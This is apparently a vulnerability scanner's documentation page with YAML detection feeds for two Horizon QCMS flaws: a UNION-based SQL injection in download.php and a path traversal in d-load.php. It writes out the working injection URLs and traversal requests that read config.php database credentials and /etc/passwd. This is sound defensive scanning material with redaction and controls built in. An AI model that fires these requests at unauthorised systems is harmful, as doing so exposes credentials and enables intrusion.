Horizon QCMS — 2 vulnerability checks
noctis ships 2 vulnerability checks for Horizon QCMS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Horizon QCMS download.php 'category' SQL Injection
| CVE | CVE-2013-7139 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/horizon-qcms/CVE-2013-7139.yaml |
Tests Horizon Quick Content Management System (QCMS) 4.0 and earlier for the unauthenticated SQL injection through the category parameter of download.php, which is copied into the sub-menu query of the page template. In the web root and in the /cms, /qcms, /hqcms and /horizonqcms directories, the feed requests download.php with a category value that closes the quoted string and appends a six-column UNION SELECT. Each column asks the database to compute the product of two random numbers framed by a NOCTIS marker. The marker with the correct product in the page confirms that the database ran the injected query; the product is not part of the request, so a page that only echoes the query string is not reported. The probe reads no table row and changes nothing.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/download.php?category=%27%20union%20select%20concat(0x4e4f43544953,{{m.a}}*{{… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/download.php?category=%27%20union%20select%20concat(0x4e4f43544953,{{m.a}}*{{… - Parses / computes the next value with a Rhai script
- Checks
prooffor^NOCTIS[0-9]+END$→ finding QoD 97: Horizon QCMS download.php 'category' SQL Injection (CVE-2013-7139)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-7139
- https://www.htbridge.com/advisory/HTB23191
- https://www.exploit-db.com/exploits/30917
- https://sourceforge.net/projects/hnqcms/files/patches/
Feed source — tests/vulnerabilities/horizon-qcms/CVE-2013-7139.yaml
# Horizon QCMS download.php 'category' SQL injection — CVE-2013-7139
#
# Horizon QCMS 4.0 as first released (HTB23191) renders download.php through
# the site template; the template's {sub_category} tag passes the raw
# `category` GET parameter to database::sub_category(), which builds
# SELECT * FROM <site>_navigation WHERE category ='<category>'
# AND relation ='<category>' and subarticle ='0' ORDER BY id ASC;
# and prints every row of the six-column navigation table (id, navigation,
# description, category, relation, subarticle) as a menu entry
# <li><a href="index.php?page=<navigation>&category=<category>...">
# <span><description></span></a></li>. The vendor's security patch of
# 2013-12-25 (Horizon QCMS 4.1) wraps both values in intval(). index.php reads
# category only after an is_numeric() check, so download.php is the entry
# point.
#
# Detection (benign, read-only), per candidate install directory
# ("", /cms, /qcms, /hqcms, /horizonqcms):
# GET <dir>/download.php?category=' union select <6 × concat(0x4e4f43544953,
# <a>*<b>,0x454e44)> -- - (the advisory's six-column UNION shape, with a
# computed marker in every column instead of version())
# and require NOCTIS<a×b>END in the page. The product of two random 6-digit
# operands is computed by the database; it appears nowhere in the request, so
# a page that only reflects the query string cannot produce it. Every column
# carries the marker, so the proof holds whichever columns the template shows.
# When that advisory shape shows nothing, the same columns are sent without a
# comment: ' union select <6 × concat> from (select '' relation,'0'
# subarticle)x where '1'='1 — valid whether or not the rest of the query sits
# on a second line that a "-- " comment does not reach.
# QoD 97 (SQL evaluated by the target). No row is read or changed.
#
# Improvements over the source NASL: the NASL only tests the d-load.php path
# traversal (CVE-2013-7138, sibling feed horizon-qcms/CVE-2013-7138.yaml) and
# lists this CVE without probing it; this feed proves the SQL injection itself.
#
# Limits: the template in use must contain the {sub_category} tag (all the
# shipped site templates with a sub-menu do), and PHP magic_quotes_gpc must
# be off (the default since PHP 5.4), otherwise the quote is escaped and the
# injection fails on the target too.
#
# CVSS: CVE-2013-7139 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_horizon_qcms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804224, GPL-2.0-only).
uid: 49cb4f5e-4a19-4355-b4a1-60ce6c7df080
name: "Horizon QCMS download.php 'category' SQL Injection (CVE-2013-7139)"
description: |
Tests Horizon Quick Content Management System (QCMS) 4.0 and earlier for the
unauthenticated SQL injection through the category parameter of download.php,
which is copied into the sub-menu query of the page template. In the web
root and in the /cms, /qcms, /hqcms and /horizonqcms directories, the feed
requests download.php with a category value that closes the quoted string
and appends a six-column UNION SELECT. Each column asks the database to
compute the product of two random numbers framed by a NOCTIS marker. The
marker with the correct product in the page confirms that the database ran
the injected query; the product is not part of the request, so a page that
only echoes the query string is not reported. The probe reads no table row
and changes nothing.
cves: [CVE-2013-7139]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [horizon-qcms, cms, php, mysql, sqli, union, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-7139"
- "https://www.htbridge.com/advisory/HTB23191"
- "https://www.exploit-db.com/exploits/30917"
- "https://sourceforge.net/projects/hnqcms/files/patches/"
# OpenVAS/Greenbone NASL 2014/gb_horizon_qcms_mult_vuln.nasl (GPL-2.0-only)
steps:
# Random operands; the expected marker is computed locally.
- id: mint
action: script
code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
store_as: m
- id: mint-marker
action: script
code: '"NOCTIS" + (m.a * m.b) + "END"'
store_as: marker
# ── Loop group: every step below runs once per candidate install dir ─────
- id: init-sq-r
action: set_var
var_name: sq_r
var_value: {status: 0, body: ""}
loop:
over: ["", "/cms", "/qcms", "/hqcms", "/horizonqcms"]
var: dir
- id: init-sq2-r
action: set_var
var_name: sq2_r
var_value: {status: 0, body: ""}
# ' union select concat(0x4e4f43544953,a*b,0x454e44) x6 -- -
# (0x4e4f43544953 = "NOCTIS", 0x454e44 = "END" — no quote in the expression)
- id: inject
action: http_request
method: GET
path: "{{dir}}/download.php?category=%27%20union%20select%20concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44)%20--%20-"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: sq_r
- id: verdict
action: script
code: |
if type_of(sq_r.body) == "string" && stridx(sq_r.body, marker) >= 0 { marker } else { "" }
store_as: proof
# Fallback without a comment: in the fixed code (and possibly in some
# vulnerable builds) the query continues on a second line
# ("and subarticle ='0' ORDER BY id ASC"), which a "-- " comment does not
# reach. The derived table x supplies the relation and subarticle columns the
# rest of the query compares, and both injected copies (category and
# relation) close their quote with '1'='1, so the whole query stays valid on
# either layout (checked on MariaDB 10.11).
- id: inject-nocomment
action: http_request
method: GET
path: "{{dir}}/download.php?category=%27%20union%20select%20concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44)%20from%20(select%20%27%27%20relation,%270%27%20subarticle)x%20where%20%271%27%3D%271"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'proof == ""'
store_as: sq2_r
- id: verdict-nocomment
action: script
code: |
if proof != "" { proof }
else if type_of(sq2_r.body) == "string" && stridx(sq2_r.body, marker) >= 0 { marker }
else { "" }
store_as: proof
- id: report
action: match
source: proof
pattern: "^NOCTIS[0-9]+END$"
on_match:
finding:
title: "Horizon QCMS download.php 'category' SQL Injection (CVE-2013-7139)"
description: "An unauthenticated GET to download.php with a category value closing the quoted string and appending a UNION SELECT made the database compute the product of two random numbers, which came back in the page. Any query the database user may run can be injected the same way, including reading the site's user table with the administrator password hashes."
remediation: "Apply the Horizon QCMS 4.0 security patch or upgrade to Horizon QCMS 4.1 or later, which casts the category value to an integer before it reaches the query."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/download.php with category=' union select concat(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44) in six columns returned the database-computed marker {{proof}}"
stop: trueHorizon QCMS lib/functions/d-load.php Path Traversal
| CVE | CVE-2013-7138 |
|---|---|
| Severity | medium · CVSS 5.0 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/horizon-qcms/CVE-2013-7138.yaml |
Tests Horizon Quick Content Management System (QCMS) 4.0 and earlier for the unauthenticated arbitrary file read in lib/functions/d-load.php, whose start parameter is opened with fopen() and returned as is. In the web root and in the /cms, /qcms, /hqcms and /horizonqcms directories, the feed requests lib/functions/d-load.php with start=../../config.php and confirms the read when the reply holds the $user, $password and $dbname assignments of the site's config.php. When the script answers but no config.php comes back, it requests /etc/passwd through a deeper ../ sequence and looks for a uid-0 account line. A control request for an absent random file through the same parameter must return neither, so a server that serves the same content on every request is not reported. Database credentials are never copied into the finding, and the passwd line is redacted.
How noctis detects it
- HTTP(S) request
GET {{dir}}/lib/functions/d-load.php?start=../../config.php - Checks
cfg_r.bodyfor\$user\s*= - Checks
cfg_r.bodyfor\$password\s*= - Checks
cfg_r.bodyfor\$dbname\s*= - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/lib/functions/d-load.php?start=../../../../../../../../../../etc/passwd - Checks
pw_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/lib/functions/d-load.php?start=../../etc/passwd.config.php.noctis-absent-{{oo… - Checks
ctrl_r.bodyfor\$(?:user|password|dbname)\s*= - Checks
ctrl_r.bodyfor(?m)(?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+: - Checks
cfg_hitfor^config$→ finding QoD 75: Horizon QCMS lib/functions/d-load.php Path Traversal (CVE-2013-7138) - Checks
pw_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: Horizon QCMS lib/functions/d-load.php Path Traversal (CVE-2013-7138)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-7138
- https://www.htbridge.com/advisory/HTB23191
- https://www.exploit-db.com/exploits/30917
- https://sourceforge.net/projects/hnqcms/files/patches/
Feed source — tests/vulnerabilities/horizon-qcms/CVE-2013-7138.yaml
# Horizon QCMS lib/functions/d-load.php path traversal — CVE-2013-7138
#
# Horizon QCMS 4.0 as first released (HTB23191) passes the `start` GET
# parameter of lib/functions/d-load.php straight to fopen() and streams the file
# back, without authentication. `start=../../config.php` returns the PHP source
# of the site's config.php, which holds the MySQL user, password and database
# name. The vendor's security patch of 2013-12-25 (Horizon QCMS 4.1, and the
# re-uploaded horizon_4_0.zip) replaces the script body with a JavaScript
# alert "Due to security issues we have disabled this function.".
#
# Detection (benign, read-only), per candidate install directory
# ("", /cms, /qcms, /hqcms, /horizonqcms):
# 1. GET <dir>/lib/functions/d-load.php?start=../../config.php (the advisory's
# and the source NASL's exact request) — the reply must hold the three
# config.php assignments $user =, $password = and $dbname =. QoD 75.
# 2. When (1) found no config.php but the script answered 200, GET
# start=../../../../../../../../../../etc/passwd and match a uid-0 passwd
# line — catches installs whose config.php was renamed or moved. QoD 75.
#
# Improvements over the source NASL:
# - The NASL first needs "Powered by Horzon QCMS" on <dir>/index.php — the
# text of the default welcome article, which every site owner is told to
# replace ("don't forget to change this page"). The feed probes the fixed
# script path directly, so a customised site is still tested.
# - A control request through the same parameter for an absent random file
# (its name still contains "etc/passwd" and "config.php") must come back
# WITHOUT config assignments or a passwd line; a blanket responder or a
# honeypot is not reported (fail-closed: no control reply → no finding).
# - The /etc/passwd fallback (above).
# - No secret reaches the finding: the config.php hit is reported with a
# fixed verdict string, and the passwd line is redacted to name/uid/gid/
# home:shell (name redacted unless "root").
#
# CVEs: the NASL lists CVE-2013-7138 (this path traversal) and CVE-2013-7139
# (download.php SQL injection); the SQL injection is covered by the sibling
# feed horizon-qcms/CVE-2013-7139.yaml. CVSS: CVE-2013-7138 v2 5.0 (NVD has
# no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_horizon_qcms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804224, GPL-2.0-only).
uid: 9c423cef-3bb6-4442-b3b3-a58b3668dfa5
name: "Horizon QCMS lib/functions/d-load.php Path Traversal (CVE-2013-7138)"
description: |
Tests Horizon Quick Content Management System (QCMS) 4.0 and earlier for the
unauthenticated arbitrary file read in lib/functions/d-load.php, whose start
parameter is opened with fopen() and returned as is. In the web root and in
the /cms, /qcms, /hqcms and /horizonqcms directories, the feed requests
lib/functions/d-load.php with start=../../config.php and confirms the read
when the reply holds the $user, $password and $dbname assignments of the
site's config.php. When the script answers but no config.php comes back, it
requests /etc/passwd through a deeper ../ sequence and looks for a uid-0
account line. A control request for an absent random file through the same
parameter must return neither, so a server that serves the same content on
every request is not reported. Database credentials are never copied into
the finding, and the passwd line is redacted.
cves: [CVE-2013-7138]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [horizon-qcms, cms, php, path-traversal, file-read, lfi, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-7138"
- "https://www.htbridge.com/advisory/HTB23191"
- "https://www.exploit-db.com/exploits/30917"
- "https://sourceforge.net/projects/hnqcms/files/patches/"
# OpenVAS/Greenbone NASL 2014/gb_horizon_qcms_mult_vuln.nasl (GPL-2.0-only)
steps:
# ── Loop group: every step below runs once per candidate install dir ─────
# Pre-initialise every value read later (undefined vars abort/skip).
- id: init-cfg-r
action: set_var
var_name: cfg_r
var_value: {status: 0, body: ""}
loop:
over: ["", "/cms", "/qcms", "/hqcms", "/horizonqcms"]
var: dir
- id: init-pw-r
action: set_var
var_name: pw_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: init-pw-proof
action: set_var
var_name: pw_proof
var_value: ""
# ── 1. Read the site's config.php (advisory request) ──────────────────────
- id: read-config
action: http_request
method: GET
path: "{{dir}}/lib/functions/d-load.php?start=../../config.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: cfg_r
# No on_match: the raw config.php (database password) must not become evidence.
- id: cfg-user
action: match
source: cfg_r.body
pattern: "\\$user\\s*="
store_as: cfg_u
- id: cfg-password
action: match
source: cfg_r.body
pattern: "\\$password\\s*="
store_as: cfg_p
- id: cfg-dbname
action: match
source: cfg_r.body
pattern: "\\$dbname\\s*="
store_as: cfg_d
- id: cfg-verdict
action: script
code: 'if cfg_u.matched && cfg_p.matched && cfg_d.matched { "config" } else { "" }'
store_as: cfg_hit
# ── 2. Fallback: /etc/passwd when the script answers without config.php ──
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/lib/functions/d-load.php?start=../../../../../../../../../../etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'cfg_hit == "" && cfg_r.status == 200'
store_as: pw_r
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: pw_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
store_as: pw_m
- id: passwd-redact
action: script
code: |
if pw_m.matched && pw_m.captures.len() > 2 {
if pw_m.captures[0] == "root" {
"root:<redacted>:0:" + pw_m.captures[1] + ":<redacted>:" + pw_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + pw_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: pw_proof
# ── Control: same parameter, absent random file — must carry neither the
# config.php assignments nor a passwd line. The absent name still contains
# "etc/passwd" and "config.php", so a honeypot keyed on either answers it.
- id: control
action: http_request
method: GET
path: "{{dir}}/lib/functions/d-load.php?start=../../etc/passwd.config.php.noctis-absent-{{oob_token}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'cfg_hit != "" || pw_proof != ""'
store_as: ctrl_r
- id: control-config
action: match
source: ctrl_r.body
pattern: "\\$(?:user|password|dbname)\\s*="
condition: 'cfg_hit != "" || pw_proof != ""'
on_match:
set_vars:
ctrl_hit: true
- id: control-passwd
action: match
source: ctrl_r.body
pattern: "(?m)(?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:"
condition: 'cfg_hit != "" || pw_proof != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-config
action: match
source: cfg_hit
pattern: "^config$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "Horizon QCMS lib/functions/d-load.php Path Traversal (CVE-2013-7138)"
description: "An unauthenticated GET to lib/functions/d-load.php with start=../../config.php returned the source of the site's config.php ($user, $password and $dbname assignments), while the same request for an absent file did not. The MySQL credentials of the site are exposed, and the same flaw reads any other file the web server user can read."
remediation: "Apply the Horizon QCMS 4.0 security patch or upgrade to Horizon QCMS 4.1 or later, which disables lib/functions/d-load.php, change the MySQL password stored in config.php, and restrict access to the lib/ directory."
confidence_delta: 0.55
qod: 75
evidence: "GET {{dir}}/lib/functions/d-load.php?start=../../config.php returned config.php with the $user, $password and $dbname assignments (values not recorded); control for an absent file returned neither config.php nor a passwd line"
stop: true
- id: report-passwd
action: match
source: pw_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "Horizon QCMS lib/functions/d-load.php Path Traversal (CVE-2013-7138)"
description: "An unauthenticated GET to lib/functions/d-load.php with a ../ sequence to /etc/passwd in the start parameter returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the site's config.php with the MySQL credentials."
remediation: "Apply the Horizon QCMS 4.0 security patch or upgrade to Horizon QCMS 4.1 or later, which disables lib/functions/d-load.php, change the MySQL password stored in config.php, and restrict access to the lib/ directory."
confidence_delta: 0.55
qod: 75
evidence: "GET {{dir}}/lib/functions/d-load.php?start=../../../../../../../../../../etc/passwd returned /etc/passwd; control for an absent file returned no passwd line ({{pw_proof}})"
stop: true